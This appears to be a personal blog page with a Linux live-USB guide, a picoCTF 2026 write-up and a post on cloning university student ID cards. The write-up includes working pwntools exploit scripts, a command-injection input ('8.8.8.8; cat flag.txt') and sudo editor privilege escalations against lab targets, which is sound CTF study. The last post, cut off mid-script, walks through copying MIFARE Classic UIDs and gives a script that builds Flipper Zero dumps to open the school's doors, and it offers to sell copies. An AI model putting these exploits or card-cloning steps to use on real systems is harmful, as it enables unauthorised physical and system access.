Windson's Blog

USB "Resurrection" 2

Fri, 17 Apr 2026 00:00:00 GMT

Last time I made a Persistence Live USB (bootable flash drive with persistent storage), I carefully selected the operating system. Searched for半天 only to find Kali which is easy to set up and played with it a bit, ~~and ended up breaking it~~. So today I made a new one—this time using Linux Mint. Originally I wanted to use Ubuntu, but its iso is way bigger than Mint, I’d probably fall asleep waiting for the write to complete.

This time the goal is the same: make a flash drive with persistent storage. When making a bootable USB, the first thing everyone thinks of is dd command, right? Just write the image with dd, then carve out the unused space as storage, seems like that solves the problem?

But after writing with dd, the flash drive gets completely overwritten into a read-only file system. Modifying grub parameters directly is impossible.

This causes the following errors:

dd’s Bit-stream copy writes a hybrid partition table, causing structural anomalies in unallocated space at the back due to incorrect GUID Partition Table (GPT) header positions.
Since the file system is read-only, we can’t directly modify grub.cfg to inject persistence parameters, nor elegantly create partitions (unless you want to manually enter boot parameters every time).

The fastest way to avoid these issues is relying on closed-source GUI tools (like Rufus), but as a terminal enthusiast, I refuse to surrender. So this adds another constraint—I must complete this with CLI. Here’s the complete tutorial for a handcrafted Linux Mint persistence USB. Replace /dev/sdX in all commands with your actual flash drive identifier (check with lsblk).

1. Wipe and Rebuild Partition Table (Partitioning)

We need to create two partitions: one EFI System Partition (ESP) for the Live ISO files, and one for persistent storage to write changes. Use parted:

# Create GPT partition table
sudo parted /dev/sdX --script mklabel gpt

# Create P1: FAT32 format, allocate 4GB for system files
sudo parted /dev/sdX --script mkpart ESP fat32 1MiB 4GiB
sudo parted /dev/sdX --script set 1 boot on

# Create P2: EXT4 format, allocate remaining space for persistence
sudo parted /dev/sdX --script mkpart PERSISTENCE ext4 4GiB 100%

2. Format and Label (Formatting and Labeling)

Ubuntu and its derivatives’ (like Linux Mint) initramfs scripts find the persistence space by disk label. Modern versions require the label to be precisely named writable.

# Format P1 (boot and system area)
sudo mkfs.vfat -F 32 -n BOOT /dev/sdX1

# Format P2, strictly label as writable
sudo mkfs.ext4 -L writable /dev/sdX2

3. Extract and Sync System Files (Data Extraction)

Abandon dd, use rsync to mirror-copy ISO contents to the USB’s P1 partition.

# Create mount points
sudo mkdir -p /mnt/usb /mnt/iso

# Mount P1 and downloaded Mint ISO as Loop Devices
sudo mount /dev/sdX1 /mnt/usb
sudo mount -o loop linuxmint-22.3-cinnamon-64bit.iso /mnt/iso

# Sync files, excluding useless Windows executables
sudo rsync -av --info=progress2 --exclude='wubi.exe' /mnt/iso/ /mnt/usb/

4. Deploy Bootloader (Bootloader Deployment)

Manually install GRUB to the USB. Before executing this step, wait because Page Cache from the previous step might still be writing data to the USB in the background (especially slow NAND flash)—don’t rush.

sudo grub-install \
    --target=x86_64-efi \
    --efi-directory=/mnt/usb \
    --boot-directory=/mnt/usb/boot \
    --removable \
    /dev/sdX

5. Inject Persistence Kernel Parameters (Kernel Parameter Injection)

Open /mnt/usb/boot/grub/grub.cfg with your preferred editor. Modify boot parameters—add persistent at the end of the linux line, before --. Additionally, to bypass the common Live USB shutdown PID 1 termination error (Kernel Panic freeze issue), strongly recommend adding noprompt and panic=-1 together. If you don’t modify the config file, you’ll need to press e at the boot menu to enter GRUB edit mode and manually add these parameters.

menuentry "Start Linux Mint 22.3 Cinnamon 64-bit (Persistent Mode)" --class linuxmint {
	set gfxpayload=keep
	linux	/casper/vmlinuz  boot=casper uuid=here-should-be-your-id username=mint hostname=mint iso-scan/filename=${iso_path} quiet splash persistent noprompt panic=-1 --
	initrd	/casper/initrd.lz
}

6. Force Sync and Safe Unmount

Before removing the USB, ensure all dirty pages in memory are physically written to disk.

# Force data sync
sudo sync
sudo sync

# Unmount mount points
sudo umount /mnt/usb
sudo umount /mnt/iso

After completion, you have a flash drive that can “possess” any computer you plug it into.

picoCTF 2026 Writeup

Fri, 20 Mar 2026 00:00:00 GMT

This was my first CTF.
Team name: nggyu, Rank: 1418, ~~because I was slacking off the whole time~~. This only lists problems I solved—I haven’t solved the ones I didn’t do yet.

General Skills

Undo

After connecting, the challenge will appear:

--- Step 1 ---
Current flag: KTgxMzkzOW4zLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj
Hint: Base64 encoded the string.
Enter the Linux command to reverse it:

It says the string is Base64 encoded—input the command to restore it: base64 -d.

--- Step 2 ---
Current flag: )813939n3-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
Hint: Reversed the text.
Enter the Linux command to reverse it:

This string is reversed—input the command to restore it: rev.

--- Step 3 ---
Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-3n939318)
Hint: Replaced underscores with dashes.
Enter the Linux command to reverse it:

The string has _ and - swapped—input the command to restore it: tr '-' '_'.

--- Step 4 ---
Current flag: cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318)
Hint: Replaced curly braces with parentheses.
Enter the Linux command to reverse it:

This string has () and {} swapped. Input the command to restore it: tr '()' '{}'

--- Step 5 ---
Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_3n939318}
Hint: Applied ROT13 to letters.
Enter the Linux command to reverse it:

It asks me to ROT13 it, so tr 'a-zA-Z' 'n-za-mN-ZA-M'

MY GIT

After downloading the challenge, first check what README.md says:

# MyGit

### If you want the flag, make sure to push the flag!

Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag.

GOOD LUCK!

This means you need to change your configured name and email. In terminal:

git config --global user.name "root"
git config --global user.email "root@picoctf"

After changing, it says to push flag.txt, and it’ll give you the flag:

touch flag.txt
git add .
git commit -m "I want flag"
git push | grep "pico"

This will get you the flag.

bytemancy 0

The challenge asks you to send 1751 ASCII 101 characters (‘e’), with no spaces in between. The fastest method should be pwntools. Printing and copy-pasting should also work.

from pwn import *

r = remote('foggy-cliff.picoctf.net', YOUR_PORT)

payload = b"e" * 1751  ## ASCII 101 is 'e'

r.sendlineafter(b"==> ",payload)  ## Use sendlineafter to avoid the process is too fast

flag = r.recvall()
print(flag.decode())

Running this will get you the flag.

In pwntools there are several ways to send payloads:

send(payload): sends raw bytes only

sendline(payload): sends with automatic newline

sendafter(delim, payload): sends after receiving delim

sendlineafter(delim, payload): receives delim then sends with newline

bytemancy 1

The challenge looks exactly the same as the previous one—won’t write about it.

bytemancy 2

The challenge is the same as before, but it asks to send 0xff. That’s clearly an invisible character—can only use pwntools.

from pwn import *

r = remote('lonely-island.picoctf.net', 56363)

payload = b"\xff" * 3

r.sendlineafter(b"==> ",payload)

flag = r.recvall()
print(flag.decode())

bytemancy 3

The challenge will show three function names in succession—you need to find their addresses. Before writing the script, we need to know its context arch:

gdb ./spellbook

Enter checksec in gdb and find it’s i386.

from pwn import *
context.arch = 'i386'

elf = ELF('./spellbook')
r = remote('green-hill.picoctf.net', 57188)

def solve():
  r.recvuntil(b"procedure '")

  target = r.recvuntil(b"'", drop=True).decode()

  addr = elf.symbols[target]

  r.send(p32(addr))

for _ in range(3):
    solve()

r.interactive()

Printer Shares

The challenge asks to connect to a printer and print the flag. First connect to see:

smbclient -L //mysterious-sea.picoctf.net -p 62729 -N

After connecting, you should see a shared printer, Public Share With Guest. Then connect to it:

smbclient //mysterious-sea.picoctf.net/shares -p 62729 -N

This enters the printer. Use ls to see flag.txt.

get flag.txt

Disconnect and you’ll find the flag in your directory.

ping-cmd

This challenge limits you to ping 8.8.8.8, but if there’s a shell behind it, you can execute more than one line. Just input:

8.8.8.8; cat flag.txt

This bypasses the check and prints the flag.

ABSOLUTE NANO

This challenge is fun. After connecting, the flag is right there, but you don’t have permission to read it. I tried sudo, obviously it wouldn’t let me. So I entered:

sudo -l

This lists what you can use. I found /bin/nano /etc/sudoers. So I executed:

sudo /bin/nano /etc/sudoers

I added flag.txt to it, and it broke. How did it break? The vulnerability I exploited got messed up— even the nano they left was unusable. Had to restart.

After restarting, back in nano, I ~~communicated with spirits~~ realized this text editor can theoretically read files, so I pressed ctrl+R. Entered the file’s absolute path (since sudo makes you root now), and the flag appeared in nano.

Piece by Piece

The challenge looks like this after connecting:

ctf-player@pico-chall$ cat instructions.txt 
Hint:

- The flag is split into multiple parts as a zipped file.
- Use Linux commands to combine the parts into one file.
- The zip file is password protected. Use this "supersecret" password to extract the zip file.
- After unzipping, check the extracted text file for the flag.

Seems like combine the files then unzip:

cat part_aa part_ab part_ac part_ad part_ae > combined.zip
unzip -P supersecret conbined.zip
cat flag.txt

SUDO MAKE ME A SANDWICH

After connecting, the home directory has another flag.txt—visible but untouchable. Use sudo -l to see what’s available:

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/emacs

Immediately there’s emacs:

sudo /bin/emacs flag.txt

Open it and there’s the flag.

Password Profiler

This challenge requires brute-forcing the password with a dictionary. The challenge gives personal info about someone. Look carefully at check_password.py—it mentions a package called cupp. Download and run it. It’ll ask questions—fill in the person’s name and info above, and it generates a password dictionary. Rename the generated passwords to passwords.txt. Put it in the same folder as check_password.py and run it—the flag appears.

Multi Code

After downloading the challenge’s message.txt, it looks like this:

NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjM2MzY2ZjM1MzQzMjM1MzcyNTM3NDQ=

Take it to cyberchef. Since there are equals signs at the end, first guess Base64:

637670625047532537426172666772715f72617030717661745f36366f3534323537253744

Looks like strange numbers with ‘f’ in them—probably hex:

cvpbPGS%7Barfgrq_rap0qvat_66o54257%7D

Progress! Try URL decode:

cvpbPGS{arfgrq_rap0qvat_66o54257}

The answer is clear—obviously ROT13:

picoCTF{nested_enc0ding_66b54257}

It’s just a spirit communication contest, ~~Applied Math department required~~.

Web

Old Session

Enter and there’s a login interface. Open F12—nothing in the HTML. Register an account and log in.

Someone left a comment saying /sessions has something weird? Let’s check it out!

It’s an admin session. Change yourself to admin, and you’ll see the flag.

Hashgate

This is a terrible problem. Enter and there’s another login screen. Find the login credentials in F12 HTML. After logging in, you notice your URL is the MD5 of an ID. What’s admin’s ID? Wrote a script brute-forcing from 0 to 3000—sadly none matched. Finally 3013 was admin_id. Try it.

Reverse

Gatekeeper

Put the challenge’s binary into gdb:

gdb ./gatekeeper

From this, to execute call <reveal_flag>, three conditions:

0x0000000000001647 <+200>:   cmp    DWORD PTR [rbp-0x38],0x3e7
0x000000000000164e <+207>:   jg     0x165e <main+223>
0x0000000000001650 <+209>:   lea    rdi,[rip+0xa2d]        # 0x2084
0x0000000000001657 <+216>:   call   0x1180 <puts@plt>
0x000000000000165c <+221>:   jmp    0x1693 <main+276>
0x000000000000165e <+223>:   cmp    DWORD PTR [rbp-0x38],0x270f
0x0000000000001665 <+230>:   jle    0x1675 <main+246>
0x0000000000001667 <+232>:   lea    rdi,[rip+0xa21]        # 0x208f
0x000000000000166e <+239>:   call   0x1180 <puts@plt>
0x0000000000001673 <+244>:   jmp    0x1693 <main+276>
0x0000000000001675 <+246>:   cmp    DWORD PTR [rbp-0x34],0x3
0x0000000000001679 <+250>:   jne    0x1687 <main+264>
0x000000000000167b <+252>:   mov    eax,0x0
0x0000000000001680 <+257>:   call   0x1449 <reveal_flag>

DWORD PTR [rbp-0x38] must be greater than 0x3e7 (999) to jump to the next comparison.
DWORD PTR [rbp-0x38] must be less than or equal to 0x270f (9999) to jump to the next comparison.
DWORD PTR [rbp-0x34] cannot equal 3—if it does, it jumps elsewhere.

So what are DWORD PTR [rbp-0x38] and DWORD PTR [rbp-0x34]?

0x00000000000015ff <+128>:   call   0x1250 <atoi@plt>
0x0000000000001604 <+133>:   mov    DWORD PTR [rbp-0x38],eax

Since atoi’s result is stored in DWORD PTR [rbp-0x38], it’s our input.

0x00000000000015e0 <+97>:    call   0x11b0 <strlen@plt>
0x00000000000015e5 <+102>:   mov    DWORD PTR [rbp-0x34],eax

It calls strlen and stores in DWORD PTR [rbp-0x34], so it’s the length.

Conclusion: input length must equal three, value between 999 and 9999. Impossible in decimal, but possible in hex. Try values in that range:

}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip

Notice this flag seems reversed:

echo "}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip" | rev

Get:

pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}

A thing full of noise—if you can communicate with spirits, you’ll notice pi_co_ctf is messing things up. Next command to eliminate it:

echo "pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}" | sed 's/pi_co_ctf//g'

Done!

Hidden Cipher 1

This challenge gives you something at the start:

235a201d70201548251358110c552f135409

A mysterious string. If it’s encrypted, try XOR:

0x23 ^ 'p' (0x70) = 0x53 ('S')

0x5a ^ 'i' (0x69) = 0x33 ('3')

0x20 ^ 'c' (0x63) = 0x43 ('C')

0x1d ^ 'o' (0x6f) = 0x72 ('r')

0x70 ^ 'C' (0x43) = 0x33 ('3')

0x20 ^ 'T' (0x54) = 0x74 ('t')

Found the cyclic key. Next write a script to decode:

from itertools import cycle

hex_data = "235a201d702015483b1d412b265d3313501f0c072d135f0d2002302d01156a57224306172e"
key = b"S3Cr3t"

cipher_bytes = bytes.fromhex(hex_data)
# Use zip and cycle for Bitwise XOR
plain_bytes = bytes(c ^ k for c, k in zip(cipher_bytes, cycle(key)))

print(plain_bytes.decode())

Pwn

Before entering this section, read this article first—it’ll help a lot, ~~meaning if you have some basics you won’t need me to write this in such detail~~.

Heap Havoc

Given a binary and C code. From the C code:

i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i1->callback = NULL;

i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
i2->callback = NULL;

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

if (i1->callback) i1->callback();
if (i2->callback) i2->callback();

Before the program ends, i2 will callback(). If we calculate the distance precisely during input and change callback() to winner(), we succeed. But we can’t directly overflow from i1 to i2->callback(). After input for i1, i2 needs input too—if we corrupt i2->name address before i2 input, memory error crashes the program. So we need to calculate the distance between them, change i2->name to a writable location, then point i2->callback() to winner().

Finding i1, i2 locations

gdb ./vuln

pwndbg> disas main
// here is only some of assembly code
   0x080493fb <+143>:   add    esp,0x10
   0x080493fe <+146>:   mov    DWORD PTR [ebp-0x1c],eax
   0x08049401 <+149>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x08049404 <+152>:   mov    DWORD PTR [eax],0x1
   0x0804940a <+158>:   sub    esp,0xc
   0x0804940d <+161>:   push   0x8
   0x0804940f <+163>:   call   0x8049150 <malloc@plt>
   0x08049414 <+168>:   add    esp,0x10
   0x08049417 <+171>:   mov    edx,eax
   0x08049419 <+173>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x0804941c <+176>:   mov    DWORD PTR [eax+0x4],edx
   0x0804941f <+179>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x08049422 <+182>:   mov    DWORD PTR [eax+0x8],0x0
   0x08049429 <+189>:   sub    esp,0xc
   0x0804942c <+192>:   push   0xc
   0x0804942e <+194>:   call   0x8049150 <malloc@plt>
   0x08049433 <+199>:   add    esp,0x10
   0x08049436 <+202>:   mov    DWORD PTR [ebp-0x20],eax
   0x08049439 <+205>:   mov    eax,DWORD PTR [ebp-0x20]
   0x0804943c <+208>:   mov    DWORD PTR [eax],0x2

From this, i1 is at ebp-0x1c, i2 is at ebp-0x20. Set breakpoints to confirm their actual locations— they’re just pointers.

Use gdb to set breakpoints and print actual locations

We stop when copying to i1, observe its actual location:

pwndbg> b *main+264
pwndbg> r AAAA BBBB
pwndbg> x/wx $ebp-0x1c
0xffffcefc:     0x0804d5f0
pwndbg> x/wx $ebp-0x20
0xffffcef8:     0x0804d610
pwndbg> x/3wx 0x0804d5f0
0x804d5f0:      0x00000001     0x0804d600      0x00000000
              i1 -> priority    i1 -> name      i1 -> callback()
pwndbg> x/3wx 0x0804d610
0x804d610:      0x00000002      0x0804d620      0x00000000
              i2 -> priority    i2 -> name      i2 -> callback()

After knowing their locations, i1->name and i2->name distance is 0x0804d610 - 0x0804d600 = 0x20 = 16.

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

r = remote("foggy-cliff.picoctf.net", 54943)

OFFSET = 20                  ## Here we overwrite i2->priority so +4
BSS_ADDR = 0x0804c888
WINNER_ADDR = 0x080492b6

payload1 = b"A" * OFFSET + p32(BSS_ADDR) + p32(WINNER_ADDR)
payload2 = b"SAFE"

payload_total = payload1 + b" " + payload2

r.recvuntil(b"Enter two names separated by space:\n")

r.sendline(payload_total)

r.interactive()

Echo Escape 1

Given a binary and code. First look at the code:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "rb");
    if (!fp) {
        perror("[!] Failed to open flag.txt");
        return;
    }

    char buffer[128];
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
    fwrite(buffer, 1, n, stdout);
    fflush(stdout);
    printf("\n");
    fclose(fp);
}

int main() {
    char buf[32];

    printf("Welcome to the secure echo service!\n");
    printf("Please enter your name: ");
    fflush(stdout);

    read(0, buf, 128);

    printf("Hello, %s\n", buf);
    printf("Thank you for using our service.\n");

    return 0;
}

Classic ret2win. Buffer declared is only 32 bytes, but read() accepts 128 bytes. So Buffer Over Flow can change return address to win(). Use gdb to find the target location:

pwndbg> disas main
Dump of assembler code for function main:
   0x00000000004012fb <+0>:     endbr64
   0x00000000004012ff <+4>:     push   rbp
   0x0000000000401300 <+5>:     mov    rbp,rsp
   0x0000000000401303 <+8>:     sub    rsp,0x20
   0x0000000000401307 <+12>:    lea    rdi,[rip+0xd22]        # 0x402030
   0x000000000040130e <+19>:    call   0x4010e0 <puts@plt>
   0x0000000000401313 <+24>:    lea    rdi,[rip+0xd3a]        # 0x402054
   0x000000000040131a <+31>:    mov    eax,0x0
   0x000000000040131f <+36>:    call   0x401110 <printf@plt>
   0x0000000000401324 <+41>:    mov    rax,QWORD PTR [rip+0x2d4d]        # 0x404078 <stdout@@GLIBC_2.2.5>
   0x000000000040132b <+48>:    mov    rdi,rax
   0x000000000040132e <+51>:    call   0x401130 <fflush@plt>
   0x0000000000401333 <+56>:    lea    rax,[rbp-0x20]
   0x0000000000401337 <+60>:    mov    edx,0x80
   0x000000000040133c <+65>:    mov    rsi,rax
   0x000000000040133f <+68>:    mov    edi,0x0
   0x0000000000401344 <+73>:    call   0x401120 <read@plt>
   0x0000000000401349 <+78>:    lea    rax,[rbp-0x20]
   0x000000000040134d <+82>:    mov    rsi,rax
   0x0000000000401350 <+85>:    lea    rdi,[rip+0xd16]        # 0x40206d
   0x0000000000401357 <+92>:    mov    eax,0x0
   0x000000000040135c <+97>:    call   0x401110 <printf@plt>
   0x0000000000401361 <+102>:   lea    rdi,[rip+0xd10]        # 0x402078
   0x0000000000401368 <+109>:   call   0x4010e0 <puts@plt>
   0x000000000040136d <+114>:   mov    eax,0x0
   0x0000000000401372 <+119>:   leave
   0x0000000000401373 <+120>:   ret
End of assembler dump.

We need to find the win function location before call read@plt, because registers need to be prepared to call a function. In x86_64, $rax is for return values, so the register storing our input is rbp-0x20. Based on stack layout, we need 32 (offset) + 8 (rbp) bytes to reach the return address:

from pwn import *
context.arch = 'amd64'

elf = ELF('./vuln')
r = remote('mysterious-sea.picoctf.net',58762)

# Offset = 32 (offset) + 8 (rbp) = 40
win_addr = elf.symbols['win']
payload = b'A' * 40 + p64(win_addr)

r.send(payload)
r.interactive()

Echo Escape 2

Same method as previous problem—can follow the same pattern. Won’t write about it:

from pwn import *
context.arch = 'i386'

# 1. Connect
r = remote('dolphin-cove.picoctf.net', 63023)
elf = ELF('./vuln')

# 2. Define target address (win function)
win_addr = elf.symbols['win']

# 3. Construct Payload
# 40(offset) + 4(rbp) bytes + target address
payload = b'A' * 44 + p32(win_addr)

# 4. Send and get Flag
r.sendline(payload)
r.interactive()

offset-cycle & offset-cycleV2

Both are ret2win, but can only operate on their machine with time limits. On entry:

./start

It’ll give you the challenge—the C code is the same, but if you don’t finish within the time limit, it resets. The offset changes each time. Write your exploit first, enter to find the offset, quickly exit to modify and execute. It’s a speed contest—nothing special.

Quizploit

Download the executable—it’ll ask some questions. Answer all correctly and you get the flag. First run with gdb:

pwndbg> checksec
File:     /home/kali/Downloads/vuln
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No

This reveals a lot. Keep the C code open for reference.

[*] Question number 0x1:

Is this a '32-bit' or '64-bit' ELF? (e.g. 100-bit)

💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.

>> 64-bit

✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 
✅                    ✅
✅      Correct!      ✅
✅                    ✅
✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 

// From checksec, Arch: amd64 means 64 bits


[*] Question number 0x2:

What's the linking of the binary? (e.g. static, dynamic)

💡 Hint: The program uses standard library functions like fprintf, fgets, and system.

>> dynamic

// From checksec we know RELRO is enabled—must be dynamic.


[*] Question number 0x3:

Is the binary 'stripped' or 'not stripped'?

💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.

>> not stripped

// checksec says


[*] Question number 0x4:

Looking at the vuln() function, what is the size of the buffer in bytes? (e.g. 0x10)

💡 Hint: Check the declaration in the function and answer in either hex or decimal

>> 21

// Answer in source code


[*] Question number 0x5:

How many bytes are read into the buffer? (e.g. 0x10)

💡 Hint: Check the fgets

>> 144

// Answer in source code


[*] Question number 0x6:

Is there a buffer overflow vulnerability? (yes/no)

💡 Hint: Compare buffer size and input size

>> yes

// fgets limits input larger than buffer, so BOF


[*] Question number 0x7:

Name a standard C function that could cause a buffer overflow in the provided C code.

💡 Hint: (e.g. fprintf)

>> fgets

[*] Question number 0x8:

What is the name of function which is not called any where in the program?

💡 Hint: Analyze the source

>> win

// Answer in source code


[*] Question number 0x9:

What type of attack could exploit this vulnerability? (e.g. format string, buffer overflow, etc.)

💡 Hint: Try interpreting the information gathered so far

>> buffer overflow

// Same as question 6


[*] Question number 0xa:

How many bytes of overflow are possible? (e.g. 0x10)

💡 Hint: Subtract values

>> 123

// fgets size - buffer size


[*] Question number 0xb:

What protection is enabled in this binary?

💡 Hint: Learn to use checksec

>> NX

// in checksec


[*] Question number 0xc:

What exploitation technique could bypass NX? (e.g. shellcode, ROP, format string)

💡 Hint: Choose from the options

>> ROP

// Links explain what ROP is


[*] Question number 0xd:

What is the address of 'win()' in hex? (e.g. 0x4011eb)

💡 Hint: Use gdb/objdump to find the address

>> 0x401176

// In gdb: p win


========================================================================================================
QUIZ COMPLETE!
========================================================================================================

🎉 PERFECT SCORE! 🎉
You got 13/13 questions correct!

Flag:

Links for this problem:
- What is RELOR
- What is ROP

That’s the writeup. Writeups are for people who don’t know—so if you don’t understand, feel free to email me. But before emailing, at least know how to use Linux and have finished reading all the links in this article, ~~I don’t believe anyone can finish and still not understand~~. The next CTF is My First CTF—welcome to join our team.

What to Do When You Lose Your Student ID?

Thu, 19 Mar 2026 00:00:00 GMT

Remember when it was just a bit after the new semester started, I passed by the basketball court one day and found a student ID on the ground. So I stopped, looked down—student number 4113…053, seemed like someone from our department… 10X… Wait, this number, this face, this is my roommate! So I picked it up and brought it back to him. But if I hadn’t found it, he would’ve been the weird case who lost their student ID within a month of starting school. ~~Though that’s basically what happened anyway.~~ So what do you do if you lose your student ID? Feel free to find Each or me—we’ll sell you one five yuan cheaper than the school price. Just today we found a way to copy the UID.

Background Knowledge

After some testing, we deduced the school’s card reader only reads the UID. As long as the Sector isn’t ??? and you have proper permissions, the door opens, regardless of whether you’re using the original student ID. The school’s student ID uses MIFARE Classic 1K. Each sector has four blocks storing:

UID (unique identifier)
BCC (check digit)
Manufacturer data

It looks like this. The first four groups in the first row are the UID, followed by the check bit—which is actually XOR of each group of the UID.

Block 0: he er is id bc 08 04 00 62 63 64 65 66 67 68 69
Block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF

The remaining parts are all padded with 0, continuing to Block 63.

Block 4: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 7: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF

Now that we know the structure, how do we copy it? Just replace the UID with your card’s UID, get a blank card, and write it in!!

Phone

We found this project, specifically for copying this type of card, and you can freely write the UUID. There are also tools to calculate BCC to make rewriting easier—super handy. But the prerequisite is you need a blank card. Steps to copy:

Click READ TAG, check both extended-std.keys and std.keys—those are dictionaries for decryption.
Then you’ll go to dump editor. Remember your UID—mentioned earlier where it is.
Back to main menu, find BCC Calculator in TOOLS. Enter your UID and remember the calculated value.
Use EDIT DUMP FILE to rewrite sector contents, save it.
WRITE TAG

That’s it—you’ve copied a card.

Flipper Zero

Before talking about how to use it, you need a Flipper Zero. Flipper Zero has several ways to play with this feature.

NFC Maker + NFC Magic

Create using Text Note in NFC Maker. What you write doesn’t matter, but Tag type must be MIFARE Classic 1K UID 4. Then enter your UID and Flipper will create an NFC tag. Next, write this Tag into a blank card. Find NFC Magic, place the card to be written on it, keep pressing ok until you see your little dolphin tell you Success.

Modify NFC File + NFC Magic

Student ID
Earlier we mentioned the school card reader only reads UID. This means as long as you change both the UID and check bit to the correct ones, you’re done. Here’s the automation script:

import sys

def calculate_bcc(uid_bytes):
    """Calculate Block Check Character (BCC) using XOR"""
    bcc = 0
    for b in uid_bytes:
        bcc ^= b
    return bcc

def generate_nfc(uid_hex):
    # Clean input string and convert to bytes
    uid_hex = uid_hex.replace(" ", "").upper()
    if len(uid_hex) != 8:
        raise ValueError("UID must be exactly 4 bytes (8 hex characters).")

    uid_bytes = bytes.fromhex(uid_hex)
    bcc = calculate_bcc(uid_bytes)

    # Format UID to match output format (e.g., "xx xx xx xx")
    uid_str_spaced = " ".join([f"{b:02X}" for b in uid_bytes])

    # Combine Block 0: UID (4 bytes) + BCC (1 byte) + Manufacturer data (11 bytes)
    block_0 = f"{uid_str_spaced} {bcc:02X} 04 00 62 63 64 65 66 67 68 69"

    # Generate all 64 blocks
    blocks = []
    for i in range(64):
        if i == 0:
            blocks.append(f"Block {i}: {block_0}")
        elif (i + 1) % 4 == 0:
            # Last block of each sector is Sector Trailer
            blocks.append(f"Block {i}: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF")
        else:
            # Blank data blocks
            blocks.append(f"Block {i}: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00")

    # Combine complete file content
    header = [
        "Filetype: Flipper NFC device",
        "Version: 4",
        "Device type: Mifare Classic",
        f"UID: {uid_str_spaced}",
        "ATQA: 00 04",
        "SAK: 08",
        "Mifare Classic type: 1K",
        "Data format version: 2",
    ]

    return "\n".join(header + blocks)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 generate_nfc.py <UID>")
        print("Example: python3 generate_nfc.py 'xx xx xx xx'")
        sys.exit(1)

    uid_input = sys.argv[1]

    try:
        nfc_data = generate_nfc(uid_input)
        filename = f"mifare_{uid_input.replace(' ', '').upper()}.nfc"

        with open(filename, "w", encoding="utf-8") as f:
            f.write(nfc_data)

        print(f"Success. File saved as: {filename}")

    except Exception as e:
        print(f"Error: {e}")

In terminal enter:

python3 <your_file_name>.py "YOUR_UID"

Instagram, Blog Digital Business Cards

import sys
import random

def generate_random_uid():
    """Generate 7-byte UID conforming to NTAG spec (starting with 0x04) with corresponding BCC"""
    uid = [0x04] + [random.randint(0, 255) for _ in range(6)]

    # 0x88 is Cascade Tag (CT)
    bcc0 = 0x88 ^ uid[0] ^ uid[1] ^ uid[2]
    bcc1 = uid[3] ^ uid[4] ^ uid[5] ^ uid[6]
    return uid, bcc0, bcc1

def encode_url_to_ndef(url):
    """Encode URL to NDEF URI format byte array"""
    prefixes = {
        "http://www.": 0x01,
        "https://www.": 0x02,
        "http://": 0x03,
        "https://": 0x04,
        "tel:": 0x05,
        "mailto:": 0x06,
    }

    prefix_code = 0x00
    url_body = url
    for prefix, code in prefixes.items():
        if url.startswith(prefix):
            prefix_code = code
            url_body = url[len(prefix):]
            break

    url_bytes = url_body.encode('utf-8')
    payload_len = len(url_bytes) + 1 # 1 byte for prefix code

    if payload_len > 254:
         raise ValueError("URL too long, cannot store in standard Short Record NDEF.")

    # NDEF Record: [D1] [01] [Payload Len] [55='U'] [Prefix Code] [URL]
    ndef_record = bytearray([0xD1, 0x01, payload_len, 0x55, prefix_code]) + url_bytes

    # TLV Header: [03=NDEF Message] [NDEF Len] [NDEF Record] [FE=Terminator]
    tlv_msg = bytearray([0x03, len(ndef_record)]) + ndef_record + bytearray([0xFE])

    # Pad to multiple of 4 for Page size
    while len(tlv_msg) % 4 != 0:
        tlv_msg.append(0x00)
